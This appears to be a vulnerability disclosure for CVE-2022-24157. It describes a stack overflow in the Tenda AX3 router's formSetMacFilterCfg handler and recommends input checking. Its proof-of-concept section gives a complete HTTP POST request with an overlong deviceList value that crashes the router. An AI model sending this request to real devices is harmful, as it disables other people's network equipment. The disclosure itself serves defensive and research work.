CVE-2022-24157: my_vuln/31.md at main · pjqwudi/my_vuln

Tenda Vulnerability

Vendor:Tenda

Product:AX3

Version:V16.03.12.10_CN(Download Link:https://www.tenda.com.cn/download/detail-3238.html)

Type:Stack Overflow

Author:Jiaqian Peng

Institution:[email protected]

Vulnerability description

We found an stack overflow vulnerability in Tenda router with firmware which was released recently, allows remote attackers to crash the server.

Stack Overflow

In httpd binary:

In formSetMacFilterCfg function, deviceList is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the deviceList to execute arbitrary code.

As you can see here, the input has not been checked. In set_macfilter_rules_by_one function, the parameter deviceList is directly copy to a local variable placed on the stack, which overrides the return address of the function, causing buffer overflow.

Supplement

In order to avoid such problems, we believe that the string content should be checked in the input extraction part.

PoC

We set deviceList as aaaaaaaaaa…\r\n , and the router will crash, such as:

The string needs to contain \r, otherwise the vulnerability cannot be triggered

POST /goform/setMacFilterCfg HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 183 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/mac_filter.html?random=0.07062162644036918& Cookie: password=f5bb0c8de146c67b44babbf4e6584cc0qyccvb

macFilterType=black&deviceList=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Result

The target router crashes and cannot provide services correctly and persistently.